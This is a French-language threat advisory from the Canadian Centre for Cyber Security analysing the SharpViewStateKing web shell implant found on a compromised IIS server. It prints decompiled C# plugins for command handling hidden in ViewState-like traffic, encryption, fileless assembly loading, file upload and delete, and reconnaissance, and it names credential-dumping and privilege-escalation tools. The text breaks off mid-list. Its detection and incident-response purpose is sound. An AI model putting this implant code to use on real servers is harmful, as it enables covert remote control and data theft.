Le Centre canadien pour la cybersécurité (Centre pour la cybersécurité) suit activement une compromission qui a exploité plusieurs charges utiles de code encoquillé (web shell) ayant permis l’utilisation de plusieurs techniques de piratage. À la suite d’activités d’intervention en cas d’incident, l’analyse a révélé que le code encoquillé faisait partie d’une plateforme d’implants furtifs appelée SharpViewStateKingNote de bas de page 1.
Le Centre pour la cybersécurité a réalisé une analyse détaillée découlant d’une enquête récente pour aider les responsables de la défense à combattre les attaques qui reposent sur ces techniques. Cette analyse examine l’utilisation de requêtes HTTP standards dans ASP.NET, et fournit une caractérisation approfondie des techniques de l’auteur de menace, ainsi que des conseils sur les mesures d’atténuation et de détection essentielles.
Sommaire
À la fin de décembre 2025, le Centre pour la cybersécurité a détecté ce qui semblait être du code encoquillé sur un serveur IIS (Internet Information Services) public de Microsoft qui exécutait une application ASP.NET disponible sur le marché. Des mesures d’intervention en cas d’incident ont été lancées, et l’analyse a révélé que le code encoquillé faisait partie d’une plateforme d’implants furtifs appelée SharpViewStateKing. Cet article technique vise à favoriser la sensibilisation, à fournir des conseils sur la détection et à présenter des mesures correctives associées aux modules malveillants. Le contenu ci-dessous repose sur des données de télémétrie de points terminaux et la mémoire de processus enregistrée pendant l’incident.
Survol de l’incident
Remarque : Des numéros de référence de techniques MITRE ATT&CK (en anglais seulement) figurent tout au long de l’article afin de normaliser les descriptions des menaces.
SharpViewStateKing est une plateforme modulaire composée d’une interface utilisateur graphique (IUG) qui permet le chargement de modules ASP.NET (plugiciels) sur les serveurs IIS exploités.

Description détaillée de figure 1 - IUG du contrôleur SharpViewStateKing
La figure montre l’interface graphique du contrôleur SharpViewStateKing, avec une disposition modulaire qui permet le chargement et la gestion de plugiciels ASP.NET sur les serveurs IIS compromis. L’interface comprend des contrôles pour la sélection des plugiciels, l’exécution des commandes et la surveillance de l’état des modules chargés, conçue pour faciliter les opérations des auteurs de menace tout en restant discrète.
Les plugiciels sont écrits dans le langage de programmation C# et intégrés en tant qu’objets .NET sérialisés dans la section Ressources de l’exécutable SharpViewStateKing (T1505.003 (en anglais seulement), T1620 (en anglais seulement)).

Description détaillée de figure 2 – Fichier JSON de ressources de la charge utile SharpViewStateKing
La figure montre un corps de réponse HTTP affiché dans un inspecteur JSON. La charge utile est un objet JSON unique dont les clés correspondent à des points terminaux pour l’exécution de procédures ou de commandes à distance, et chaque valeur est un long grand objet binaire (BLOB pour Binary Large Object) codé en Base64. Les commandes et les onglets de l’interface utilisateur indiquent qu’il s’agit d’un développeur ou d’un outil mandataire qui visualise la réponse structurée.
L’exécution de code à distance a été réalisée en tirant parti des paramètres ViewState compromis dans l’application ASP.NET exécutée sur le serveur IIS compromisNote de bas de page 2 (T1190 (en anglais seulement)). Bien que la méthode employée pour obtenir ces paramètres ne s’inscrive pas dans la portée du présent document, un exemple de la manière dont ils ont été utilisés dans une autre campagne d’attaques par maliciel se trouve dans la publication du Centre pour la cybersécurité sur les vulnérabilités SharePoint.
Le code encoquillé traditionnel fonctionne généralement en créant une nouvelle page sur le serveur Web ou en injectant un code qui intercepte les requêtes HTTP dirigées vers des pages Web légitimes. Cela permet aux auteurs de menace d’interagir avec le serveur compromis, car le code encoquillé peut répondre aux requêtes depuis leur infrastructure de commande et de contrôle (C2). Toutefois, en analysant les données de télémétrie de points terminaux et la mémoire du processus enregistrée pendant l’incident, le Centre pour la cybersécurité a identifié une nouvelle technique.
Cette analyse a indiqué que l’auteur de menace a probablement tiré parti de la plateforme d’implants SharpViewStateKing pour déployer de nouveaux plugiciels compilés pour chaque commande envoyée au serveur compromis, le rendant fonctionnellement sans état (T1620 (en anglais seulement)). De plus, le code du plugiciel déployé est demeuré résident en mémoire, même lorsqu’il était dormant, jusqu’au redémarrage du processus.
Les possibilités de détection pour cette famille d’implants sont limitées en raison des facteurs suivants :
- les plugiciels sont compilés sur l’hôte de l’auteur de menace immédiatement avant d’être envoyés au serveur cible. Étant donné que les opérations de compilation n’ont pas eu lieu sur le serveur exploité, le processus csc.exe (compilateur C#) n’a jamais été observé, et les détections basées sur le code de hachage sont devenues difficiles en raison des horodatages générés dynamiquement juste avant le chargement du module;
- les communications réseau ont lieu sur un trafic HTTP ou HTTPS qui semble légitime. Dans cet incident, le trafic a été chiffré en HTTPS, ce qui a limité la visibilité (T1071.001 (en anglais seulement));
- les plugiciels sont chargés directement dans la mémoire du processus IIS sur le serveur compromis. Ils n’ont jamais été enregistrés sur le disque (T1620 (en anglais seulement));
- les plugiciels chargés n’apparaissent pas dans la liste des modules chargés (bibliothèque de liens dynamiques ou DLL pour Dynamic Link Library) pour le processus du serveur IIS.
Malgré ces limites, le Centre pour la cybersécurité a été en mesure de relever plusieurs éléments dignes d’intérêt :
- C# peut être décompilé en code source C# lisible. Puisqu’il a été compilé dans un langage intermédiaire (code à octets), le processus de compilation a pu être inversé à l’aide de la plateforme de triage de fichiers de source ouverte du Centre pour la cybersécurité, Assemblyline. En mettant en œuvre un service de décompilation pour le code à octets C#, des règles YARA personnalisées pourraient être créées pour cibler le code C# plutôt que des DLL compilées, ce qui donnerait lieu à des règles de détection plus flexibles;
- avec certaines configurations, le mécanisme AMSI (Anti-Malware Scan Interface) est déclenché lorsque les modules de code .NET sont chargés en mémoire. Bien que le maliciel semblait avoir des capacités de contournement d’AMSI, elles n’ont pas été déployées pendant cet incident particulier, ce qui a permis aux programmes antivirus traditionnels d’inspecter le code à octets;
- l’implant utilise une chaîne statique pour le paramètre
__VIEWSTATEdans les requêtes HTTP POST. Cette chaîne a été trouvée dans la mémoire du processus lors du chargement des plugiciels; - dans certains cas, les erreurs de désérialisation ViewState peuvent être enregistrées dans les journaux du serveur lors du chargement des plugiciels en raison de la chaîne
__VIEWSTATEcodée en dur. Cependant, dans cet incident, aucune erreur de désérialisation n’a été observée; - également associés à l’implant Godzilla, les champs d’en-tête
__SCROLLPATHet/ou__SCROLLPOSITIONdans les journaux du serveur HTTP peuvent servir d’indicateurs. Étant donné que certains logiciels légitimes utilisent des champs portant ces noms, à eux seuls, ils n’étaient pas des indicateurs forts; - la compilation/l’édition de liens dans l’en-tête du fichier PE (Portable Exécutable) qui en découle sera récente, quelques secondes après son chargement. Comme ce n’est pas rare pour les pages ASP.NET, elles ne constituaient pas des indicateurs forts à elles seules;
- des possibilités de détection se présenteront lorsque l’auteur de menace établira de nouvelles capacités sur l’hôte compromis ou utilisera les données binaires d’exploitation des ressources locales (LOTL pour Living Off The Land) dans le cadre de ses activités post-exploitation. Une méthode efficace de détection consistait à surveiller les enfants du processus de travail IIS
w3wp.exe.
Analyse de l’incident
Dans les 30 premières minutes de l’incident, 67 modules de code distincts basés sur leur code de hachage SHA-256 ont été déployés sur l’hôte compromis. Une fois la décompilation terminée, il est devenu évident qu’il y avait un grand nombre de doublons. Par exemple, 42 copies différentes du plugiciel FileUpload, chacune avec son propre code de hachage, ont été utilisées pour préparer et exécuter plusieurs fonctionnalités différentes via le plugiciel RemoteExec, comme indiqué ci-dessous :
- EfsPotato : l’un des nombreux exploits de la famille « Potato », EfsPotato est un outil d’élévation locale des privilèges de source ouverte utilisé dans les cyberattaques pour élever les autorisations d’utilisatrices ou utilisateurs d’un compte de service à faible privilège au plus haut niveau d’autorité sur les systèmes Windows (
NT AUTHORITY\SYSTEM) (T1068 (en anglais seulement), T1134.001 (en anglais seulement))); - RPV SoftEther : client RPV (réseau privé virtuel) et logiciel serveur de RPV multiplateforme et multiprotocole de source ouverte utilisé par l’auteur de menace pour traverser la traduction d’adresses de réseau (NAT pour Network Address Translation) et contourner les pare-feux pour établir des connexions RDP (Remote Desktop Protocol) (T1133 (en anglais seulement));
- rar.exe : archiveur de fichiers en ligne de commande et outil de compression qui fait partie du puissant gestionnaire d’archives WinRAR; utilisé pour extraire des fichiers mis en place pour l’exécution et compresser des fichiers pour l’exfiltration (T1560.001 (en anglais seulement));
- secretsdump.exe : version compilée de l’outil Imacket secretsdump.pyNote de bas de page 3 utilisée pour extraire divers secrets sensibles d’un hôte, y compris des codes de hachage utilisateur, des secrets de l’interface de programmation d’applications de protection des données (DPAPI pour Data Protection Application Programming Interface) et des justificatifs d’identité en texte clair (T1003.002 (en anglais seulement));
- perunner.exe : outil utilisé pour extraire la mémoire du processus LSASS (Local Security Authority Subsystem Service) (T1003.002 (en anglais seulement));
- fuck.exe : exécutable personnalisé utilisé pour modifier les valeurs
ValidationKeyetDecryptionKeydans le fichier web.config de l’application Web compromise (T1556.001 (en anglais seulement));
SHA-256 :2FF2E5B7DA1A70886DB220E0806ABA24AD6648BA2DC40E101D5D718D1BCBD7B6 - bypass.exe : SHA-256 :
6DF013608D0BEC6D2743AD45108C43922DBFDE28DDBEC8B8D63F3E0B23401DF2; - HttpCgiModuledll : Composant 32 bits de l’implant BadIIS
SHA-256 :637c7bd4d2b5c29cc2f6db802ed1cd4d4c9b49ef7e6751a38d22f9337361c2cf; - HttpFastCgiModuledll : Composant 64 bits de l’implant BadIIS
SHA-256 :b6a009dc9984bf49e84e4885c87bcc0ce371f98ab2c28e71d5ebbcc0855adfce.
En utilisant le plugiciel RemoteExec, l’auteur de menace a créé un nouveau compte d’administrateur sur l’hôte compromis (T1136.001 (en anglais seulement)), puis a lancé wmic.exe pour configurer les exclusions dans Microsoft Defender (T1562.001 (en anglais seulement)), ce qui a permis de neutraliser ce dernier. L’auteur de menace a ensuite utilisé ce nouveau compte et l’accès au RPV SoftEther pour ouvrir une session à distance par l’intermédiaire du protocole RDP, puis se déplacer latéralement à d’autres hôtes au moyen de PsExec (T1569.002 (en anglais seulement), T1021.002 (en anglais seulement)) et des justificatifs d’identité recueillis à l’aide des outils ci-dessus (T1078 (en anglais seulement)).
Capacités du plugiciel observées pendant l’analyse
Les informations ci-dessous sont basées sur les plugiciels de SharpViewStateKing déployés par l’auteur de menace et extraits de la mémoire du processus IIS. Pour éviter la redondance, les trois méthodes suivantes ont été trouvées pour chacune des charges utiles :
Constructeur
Le gestionnaire de requêtes HTTP (l’interface de communication) a reçu des commandes chiffrées de la part de l’auteur de menace, les a exécutées, a chiffré les résultats, puis a renvoyé ceux-ci déguisés en trafic Web normal. La logique du constructeur est la suivante :
- il obtient le contexte HTTP actuel (la requête Web en cours de traitement) et les objets HTTP connexes;
- il extrait les paramètres
__SCROLLPATHet/ou__SCROLLPOSITIONde la requête (entrée contrôlée par l’auteur de menace), puis décode depuis Base64 pour obtenir des octets bruts; - il appelle
Dec()pour déchiffrer les octets bruts; - il appelle une fonction spécifique au plugiciel avec ces arguments pour exécuter une action;
- il convertit la sortie en octets UTF-8, appelle
Enc()pour chiffrer les octets, puis code le résultat chiffré en Base64; - il masque la sortie en l’incorporant dans les propriétés ViewState d’ASP.NET;
-
<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4..." /> - Le préfixe
/wEPDwUKLTcyODc4reste statique et imite le mécanisme ViewState légitime pour éviter de déclencher les outils de sécurité;
-
- il renvoie la réponse en format HTML à l’auteur de menace.
Figure 3 : Constructeur pour le plugiciel FileUpload
public class FileUpload
{
public FileUpload()
{
HttpContext current = HttpContext.Current;
try
{
if (HttpContext.Current != null)
{
HttpRequest request = current.Request;
HttpResponse response = current.Response;
byte[] content = Dec(Convert.FromBase64String(request["__SCROLLPOSITION"]));
byte[] bytes = Dec(Convert.FromBase64String(request["__SCROLLPATH"]));
string s = UploadFile(content, Encoding.UTF8.GetString(bytes));
response.Write("<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTcyODc4" + Convert.ToBase64String(Enc(Encoding.UTF8.GetBytes(s))) + "" />");
response.End();
}
}
catch (Exception ex)
{
current.Response.Write(ex.Message);
current.Response.End();
}
}
}
Description détaillée de Figure 3 – Constructeur pour le plugiciel FileUpload
La figure montre un extrait de code en C# définissant une classe FileUpload dont le constructeur utilise HttpContext.Current pour gérer une requête et une réponse HTTP dans un bloc try-catch. Cette méthode lit deux valeurs de la requête codées en Base64, les décode en un tableau d’octets et une chaîne de chemin, appelle UploadFile avec le contenu et le chemin décodé, puis écrit une entrée cachée contenant une valeur VIEWSTATE codée dans la réponse avant de la terminer. En cas d’exception, elle écrit le message d’erreur dans la réponse et interrompt la requête.
Fonction de déchiffrement
Cette méthode a déchiffré les données reçues de l’auteur de menace au moyen des champs d’en-tête HTTP __SCROLLPATH et/ou __SCROLLPOSITION. Elle a été utilisée dans tous les plugiciels observés, à l’exception de ListDirectory, qui n’a pas chiffré son argument de chemin d’accès unique.
Rijndael-128 en mode CBC (AES-128-CBC) est utilisé comme algorithme de chiffrement/déchiffrement (T1573.001 (en anglais seulement)). Les 32 premiers octets de la mémoire tampon transmis à la fonction sont utilisés comme clé de déchiffrement symétrique et motif d’initialisation (IV pour Initialization Vector).
Figure 4 : Fonction de déchiffrement au moyen de Rijndael-128 en mode CBC (AES-128-CBC)
public static byte[] Dec(byte[] data)
{
byte[] array = new byte[16];
byte[] array2 = new byte[16];
Array.Copy(data, 0, array, 0, 16);
Array.Copy(data, 16, array2, 0, 16);
Console.WriteLine(new Guid(array));
Console.WriteLine(new Guid(array2));
MemoryStream memoryStream = new MemoryStream();
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.BlockSize = 128;
rijndaelManaged.KeySize = 128;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.PKCS7;
CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateDecryptor(array2, array), CryptoStreamMode.Write);
cryptoStream.Write(data, 32, data.Length - 32);
cryptoStream.FlushFinalBlock();
return memoryStream.ToArray();
}
Description détaillée de Figure 4 – Fonction de déchiffrement au moyen de Rijndael-128 en mode CBC (AES-128-CBC)
La figure montre une méthode C# qui déchiffre un tableau d’octets en utilisant Rijndael-128 en mode CBC (AES-128-CBC) avec remplissage PKCS7. Elle divise l’entrée en deux segments de 16 octets pour l’IV et la clé, les enregistre en tant qu’identificateurs globaux uniques (GUID pour Global Unique Identifier), configure une instance gérée par Rijndael (tailles de bloc et de clé de 128 bits), puis crée un CryptoStream pour déchiffrer les octets restants (à partir du décalage 32) et retourne le texte en clair résultant sous forme de nouveau tableau d’octets. Le code utilise MemoryStream pour recueillir les données déchiffrées, puis vide le bloc final avant la conversion.
Puisque les deux valeurs sont écrites directement dans les données de la requête sans aucune protection cryptographique, elles peuvent être récupérées à partir des journaux HTTP du serveur ou des saisies réseau. Cela est possible si le protocole HTTP a été utilisé comme protocole de couche application ou si le protocole HTTPS a été désencapsulé. Il serait alors facile de se servir de ces valeurs pour déchiffrer les données chargées à l’aide d’un outil comme CyberChef (en anglais seulement).
Fonction de chiffrement
Les plugiciels chiffrent les données avant de les renvoyer à l’auteur de menace en passant par la réponse HTTP qui utilise Rijndael-128 en mode CBC (AES-128-CBC) (T1573.001 (en anglais seulement)). La clé de chiffrement symétrique et le motif d’initialisation (IV) sont générés de façon pseudo-aléatoire à l’aide de Guid.NewGuid().ToByteArray() et sont ajoutés en préfixe aux données de réponse chiffrées. La méthode Guid.NewGuid() n’est pas considérée comme sécurisée par chiffrement et garantit, au maximum, une entropie de 122 bits.
Figure 5 : Fonction de chiffrement au moyen de Rijndael (AES-128) en mode CBC
public static byte[] Enc(byte[] data)
{
byte[] array = Guid.NewGuid().ToByteArray();
byte[] array2 = Guid.NewGuid().ToByteArray();
MemoryStream memoryStream = new MemoryStream();
memoryStream.Write(array, 0, array.Length);
memoryStream.Write(array2, 0, array2.Length);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.BlockSize = 128;
rijndaelManaged.KeySize = 128;
rijndaelManaged.Mode = CipherMode.CBC;
rijndaelManaged.Padding = PaddingMode.PKCS7;
CryptoStream cryptoStream = new CryptoStream(memoryStream, rijndaelManaged.CreateEncryptor(array2, array), CryptoStreamMode.Write);
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return memoryStream.ToArray();
}
Description détaillée de Figure 5 – Fonction de chiffrement au moyen de Rijndael (AES-128) en mode CBC
La figure montre une méthode C# qui chiffre un tableau d’octets en utilisant Rijndael-128 en mode CBC (AES-128-CBC) avec remplissage PKCS7. Elle génère deux GUID pour servir d’IV et de clé, les écrit dans un MemoryStream en ajoutant le texte chiffré en préfixe, puis utilise un CryptoStream pour chiffrer les données d’entrée et vide le bloc final avant de renvoyer le tableau d’octets combiné. La configuration définit à la fois la taille du bloc et la taille de la clé à 128 bits, produisant une sortie qui commence par l’IV et la clé, suivie de la charge utile chiffrée.
Puisque les deux valeurs sont écrites directement dans les données de la requête sans aucune protection cryptographique, elles peuvent être récupérées à partir des journaux HTTP du serveur ou des saisies réseau. Cela est possible si le protocole HTTP a été utilisé comme protocole de couche application ou si le protocole HTTPS a été désencapsulé. Il serait alors facile de se servir de ces valeurs pour déchiffrer les données exfiltrées à l’aide d’un outil comme CyberChef (en anglais seulement).
Observation 1
Capacité principale : ExecuteAssembly
Technique observée : ExecuteAssembly (T1620 (en anglais seulement))
Comme ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de charger un ensemble ASP.NET arbitraire directement à partir d’une mémoire tampon, l’auteur de menace dispose d’une capacité d’exécution sans fichier pour la post-exploitation et cela lui permet de contourner la détection sur disque. Par exemple, il a été utilisé pour charger et exécuter l’exploit d’élévation des privilèges EfsPotato directement dans la mémoire de l’hôte compromis.
Le plugiciel comprend deux méthodes :
- ParseArgs(string input) : prend une chaîne brute d’arguments en ligne de commande et la convertit en un tableau de chaînes correctement formaté, en parcourant chaque caractère tout en suivant les délimitations des guillemets au moyen d’un indicateur booléen.
- Cela a permis à la charge utile de recevoir des arguments exactement comme s’ils avaient été lancés à partir de la ligne de commande. L’exécution en mémoire s’est donc comportée comme un lancement de programme normal, et l’auteur de menace a pu transmettre des paramètres de ligne de commande à des assemblages .NET malveillants.
- ExecuteAssembly(byte[] assembly, byte[] bArgs) : redirige les flux
Console.OutetConsole.Errorvers unMemoryStreamen mémoire et utiliseAssembly.Load()pour charger les octets des assemblages .NET directement dans la mémoire du processus sans écrire sur le disque.- Cela a permis de récupérer la méthode
Mainde l’assemblage à l’aide d’instructionsENTRYPOINT, puis de l’appeler avec les arguments de ligne de commande analysés, en capturant toutes les sorties de console (stdout/stderr) générées pendant l’exécution dans unMemoryStreamet en la convertissant en chaîne UTF-8. Le résultat a été renvoyé via une réponse HTTP par le constructeur.
- Cela a permis de récupérer la méthode
Figure 6 : Méthode ExecuteAssembly dans la classe LoadAndExecuteAssembly
public class LoadAndExecuteAssembly
{
public static string ExecuteAssembly(byte[] assembly, byte[] bArgs)
{
string empty = string.Empty;
try
{
TextWriter textWriter = Console.Out;
TextWriter error = Console.Error;
MemoryStream memoryStream = new MemoryStream();
StreamWriter streamWriter = new StreamWriter(memoryStream);
streamWriter.AutoFlush = true;
Console.SetOut(streamWriter);
Console.SetError(streamWriter);
Assembly assembly2 = Assembly.Load(assembly);
MethodInfo entryPoint = assembly2.EntryPoint;
string[] array = ParseArgs(Encoding.UTF8.GetString(bArgs));
entryPoint.Invoke(null, new object[1] { array });
empty = Encoding.UTF8.GetString(memoryStream.ToArray());
Console.SetOut(textWriter);
Console.SetError(error);
streamWriter.Close();
memoryStream.Close();
}
catch (Exception ex)
{
empty = "Error: " + ex;
}
return empty;
}
}
Description détaillée de Figure 6 - Méthode ExecuteAssembly dans la classe LoadAndExecuteAssembly
La figure montre une classe LoadAndExecuteAssembly en C# avec une méthode statique publique ExecuteAssembly qui charge un assemblage .NET à partir d’un tableau d’octets et appelle son point d’entrée avec des arguments analysés à partir d’un autre tableau d’octets. Avant l’appel, cette méthode redirige Console.Out et Console.Error vers un MemoryStream en passant par un StreamWriter pour capturer toutes les sorties de la console, puis restaure les flux d’origine et renvoie le texte capturé. En cas d’échec, elle renvoie une chaîne d’erreur formatée. Le code gère les ressources en fermant l’objet writer et le flux après l’exécution.
Observation 2
Capacité principale : FileDelete
Technique observée : FileDelete (T1070.004 (en anglais seulement))
Ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de supprimer à distance un fichier du système de fichiers de la victime. Il reçoit un chemin de fichier chiffré par HTTP, supprime le fichier spécifié, puis renvoie un message de confirmation chiffré. L’auteur de menace a utilisé cette capacité pour brouiller ses pistes et supprimer des fichiers déployés précédemment.
Figure 7 : Méthode fileDelete dans la classe FileDelete
public class FileDelete
{
public static string fileDelete(string filePath)
{
try
{
if (File.Exists(filePath))
{
File.Delete(filePath);
}
return "Delete successful";
}
catch (Exception ex)
{
return ex.Message;
}
}
}
Description détaillée de Figure 7 - Méthode fileDelete dans la classe FileDelete
La figure affiche un extrait de code C# définissant une classe nommée FileDelete avec une méthode statique publique, fileDelete, qui accepte une chaîne de chemin de fichier. Dans un bloc try-catch, la méthode vérifie si le fichier existe, le supprime s’il est présent et renvoie « Delete successful ». En cas d’exception, elle renvoie le message de l’exception.
Observation 3
Capacité principale : FileUpload
Technique observée : FileUpload (T1608.001 (en anglais seulement))
Ce plugiciel met en œuvre une classe qui permet à l’auteur de menace de charger à distance des fichiers dans le système de fichiers de la victime. Il a reçu un chemin de fichier chiffré et son contenu par HTTP, a écrit le contenu à l’emplacement indiqué, puis a renvoyé un message de confirmation chiffré.
Figure 8 : Méthode UploadFile dans la classe FileUpload
public class FileUpload
{
public static string UploadFile(byte[] content, string filePath)
{
try
{
FileStream fileStream = new FileStream(filePath, FileMode.Append);
fileStream.Write(content, 0, content.Length);
fileStream.Close();
return "Upload successful";
}
catch (Exception ex)
{
return ex.Message;
}
}
}
Description détaillée de Figure 8 – Méthode UploadFile dans la classe FileUpload
La figure montre un extrait de code C# définissant une classe nommée FileUpload avec une méthode statique publique UploadFile qui utilise un tableau d’octets et un chemin de fichier. À l’intérieur d’un bloc try-catch, cette méthode ouvre un fichier FileStream en mode ajout, écrit le contenu en octets dans le fichier, ferme le flux et renvoie « Upload successful », tandis que toute exception renvoie le message de l’exception.
Observation 4
Capacité principale : Information
Technique observée : Information (T1082 (en anglais seulement), T1057 (en anglais seulement))
Il s’agit du premier plugiciel déployé sur l’hôte compromis. Il a mis en œuvre une classe qui a récupéré les informations système détaillées suivantes dans une chaîne JSON :
- répertoire de travail courant du processus
- répertoire « Web » courant du processus
- contenu de deux clés de registre
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductNameHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\CurrentVersion - tous les lecteurs de disque, y compris l’espace libre
- toutes les interfaces réseau
- tous les processus en cours d’exécution
Figure 9 : Méthode GetSystemInformation dans la classe Information
public class Information
{
public static string GetSystemInformation(string data = null)
{
string currentDirectory = Directory.GetCurrentDirectory();
string text = $" Current Directory: {currentDirectory}\r\n";
text += string.Format("Current Web Directory: {0}\r\n\r\n", HttpContext.Current.Server.MapPath("."));
RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion");
if (registryKey != null)
{
text += string.Format("Windows Product Name: {0}\r\n", registryKey.GetValue("ProductName"));
text += string.Format(" Windows Version: {0}\r\n\r\n", registryKey.GetValue("CurrentVersion"));
}
DriveInfo[] drives = DriveInfo.GetDrives();
foreach (DriveInfo driveInfo in drives)
{
if (driveInfo.IsReady)
{
text += $"Disk drive {driveInfo.Name}\r\n";
text += $" Disk size: {driveInfo.TotalSize / 1024L / 1024L / 1024L} GB\r\n";
text += $" Free space: {driveInfo.AvailableFreeSpace / 1024L / 1024L / 1024L} GB\r\n";
}
}
text += "\r\n";
NetworkInterface[] allNetworkInterfaces = NetworkInterface.GetAllNetworkInterfaces();
NetworkInterface[] array = allNetworkInterfaces;
foreach (NetworkInterface networkInterface in array)
{
if (networkInterface.Name.ToLower().Contains("loopback"))
{
continue;
}
IPInterfaceProperties iPProperties = networkInterface.GetIPProperties();
UnicastIPAddressInformationCollection unicastAddresses = iPProperties.UnicastAddresses;
string text2 = string.Empty;
string text3 = string.Empty;
foreach (UnicastIPAddressInformation item in unicastAddresses)
{
if (item.Address.AddressFamily != AddressFamily.InterNetwork)
{
if (item.Address.AddressFamily == AddressFamily.InterNetworkV6)
{
text3 = string.Concat(text3, item.Address, ",");
}
}
else
{
text2 = string.Concat(text2, item.Address, ",");
}
}
string text4 = string.Empty;
if (iPProperties.DnsAddresses.Any())
{
Console.WriteLine("DNS Servers:");
foreach (IPAddress dnsAddress in iPProperties.DnsAddresses)
{
text4 = string.Concat(text4, dnsAddress, ",");
}
}
text += $"Network adapter: {networkInterface.Description}\r\n";
text += $" MAC address: {networkInterface.GetPhysicalAddress().ToString()}\r\n";
text += $" IP addresses: {text2.Trim() + text3.Trim().Trim(new char[1] { ',' })}\r\n";
text += $" DNS Server: {text4}\r\n";
}
text += "\r\n->||";
Process[] processes = Process.GetProcesses();
foreach (Process process in processes)
{
text = text + process.ProcessName + ".exe,";
}
return text + "||<-";
}
}
Description détaillée de Figure 9 – Méthode GetSystemInformation dans la classe Information
La figure comprend une méthode statique publique GetSystemInformation qui crée une chaîne détaillée de données système. Elle interroge les répertoires Web courants, lit le produit et la version de Windows à partir du registre, énumère les lecteurs pour obtenir la taille des disques et l’espace libre, et parcourt les interfaces réseau pour recueillir les adresses IP en ignorant l’adaptateur de bouclage.
Observation 5
Capacité principale : ListDirectory
Technique observée : ListDirectory (T1083 (en anglais seulement))
Ce plugiciel a mis en œuvre une classe qui a permis à l’auteur de menace d’énumérer et de récupérer des informations détaillées sur les fichiers et les répertoires du système de fichiers de la victime à l’aide des deux méthodes suivantes :
- list_directory(string path) : a permis de dresser la liste de tous les fichiers et dossiers d’un répertoire particulier et de faire ce qui suit :
- utiliser
DirectoryInfopour accéder au répertoire cible etGetFileSystemInfos()pour récupérer tous les fichiers et sous-répertoires; - pour chaque élément de fichier ou de dossier, appeler
GetIcon()pour récupérer l’icône visuelle et créer unMemoryStream(mémoire tampon temporaire) pour conserver les données d’image et enregistrer l’icône en tant qu’image PNG dans leMemoryStream; - vérifier si l’élément était un répertoire ou un fichier en utilisant
FileAttributes(la taille des fichiers a été récupérée en octets); - créer une chaîne séparée par des tabulations contenant les éléments suivants :
- nom du fichier
- chemin complet
- indicateur IsDirectory (vrai/faux)
- données d’icône encodées en Base64
- horodatage de la dernière modification (format : aaaa-mm-jj hh:mm:ss)
- taille du fichier (0 pour les répertoires)
- utiliser
Figure 10 : Méthode list_directory dans la classe ListDirectory
public class ListDirectory
{
public static string list_directory(string path)
{
StringBuilder stringBuilder = new StringBuilder();
try
{
DirectoryInfo directoryInfo = new DirectoryInfo(path);
FileSystemInfo[] fileSystemInfos = directoryInfo.GetFileSystemInfos();
FileSystemInfo[] array = fileSystemInfos;
foreach (FileSystemInfo fileSystemInfo in array)
{
MemoryStream memoryStream = new MemoryStream();
string text = "0";
bool flag = true;
((Image)GetIcon(fileSystemInfo.FullName)).Save((Stream)memoryStream, ImageFormat.Png);
if ((fileSystemInfo.Attributes & FileAttributes.Directory) != FileAttributes.Directory)
{
flag = false;
text = new FileInfo(fileSystemInfo.FullName).Length.ToString();
}
stringBuilder.Append(string.Format("{0}\t{1}\t{2}\t{3}\t{4}\t{5}\r\n", fileSystemInfo.Name, fileSystemInfo.FullName, flag, Convert.ToBase64String(memoryStream.ToArray()), File.GetLastWriteTime(fileSystemInfo.FullName).ToString("yyyy-MM-dd hh:mm:ss"), text));
memoryStream.Close();
}
}
catch (Exception ex)
{
stringBuilder.Append(ex.Message);
}
return stringBuilder.ToString();
}
}
Description détaillée de Figure 10 – Méthode list_directory dans la classe ListDirectory
La figure montre une classe C# nommée ListDirectory comprenant une méthode statique publique list_directory qui prend un chemin et renvoie une chaîne formatée représentant le contenu du répertoire. Cette méthode permet de parcourir les entrées FileSystemInfo, d’enregistrer l’icône de l’interpréteur de commandes de chaque élément dans un MemoryStream au format PNG (puis Base64), de déterminer si l’entrée est un répertoire ou un fichier et, pour les fichiers, d’en saisir la taille.
- GetIcon(string file) :extraction d’icônes visuelles ou de vignettes de fichiers pour aider à identifier les types de fichiers :
- les types de fichiers d’image (par exemple, .jpg, .jpeg, .gif, .png, .bmp) ont été ouverts pour créer une vignette de 48 x 48 pixels;
- tous les autres types de fichiers ont extrait l’icône de l’interpréteur de commandes Windows connexe, l’ont convertie en graphique bitmap et l’ont renvoyée à l’auteur de menace sous forme d’objet bitmap.
Figure 11 : Méthode GetIcon dans la classe ListDirectory
public class ListDirectory
{
private static Bitmap GetIcon(string file)
{
try
{
if (file.EndsWith("jpg") || file.EndsWith("jpeg") || file.EndsWith("gif") || file.EndsWith("png") || file.EndsWith("bmp"))
{
Bitmap val = new Bitmap(file);
return new Bitmap(((Image)val).GetThumbnailImage(48, 48, (GetThumbnailImageAbort)(() => false), IntPtr.Zero));
}
Icon val2 = Icon.ExtractAssociatedIcon(file);
return val2.ToBitmap();
}
catch
{
return new Bitmap(48, 48);
}
}
}
Description détaillée de Figure 11 – Méthode GetIcon dans la classe ListDirectory
La figure contient un extrait de code C# provenant d’une classe nommée ListDirectory définissant une méthode statique privée GetIcon qui renvoie un bitmap pour un chemin de fichier donné. Dans un bloc try, la méthode vérifie si le fichier a une extension d’image (jpg, jpeg, gif, png, bmp). Pour les images, elle crée une vignette de 48 x 48 pixels à partir du bitmap. Pour les autres fichiers, elle extrait l’icône associée au système à l’aide de Icon.ExtractAssociatedIcon et la convertit en bitmap. Si une erreur se produit, la méthode se rabat sur le renvoi d’un nouveau bitmap de 48 x 48 pixels par défaut.
Observation 6
Capacité principale : RemoteExec
Technique observée : RemoteExec (T1059.003 (en anglais seulement))
Ce plugiciel a mis en œuvre une classe qui a permis à l’auteur de menace d’exécuter à distance une commande ou un exécutable existant sur l’hôte compromis et de renvoyer sa sortie comme suit :
- prendre la commande cible comme argument;
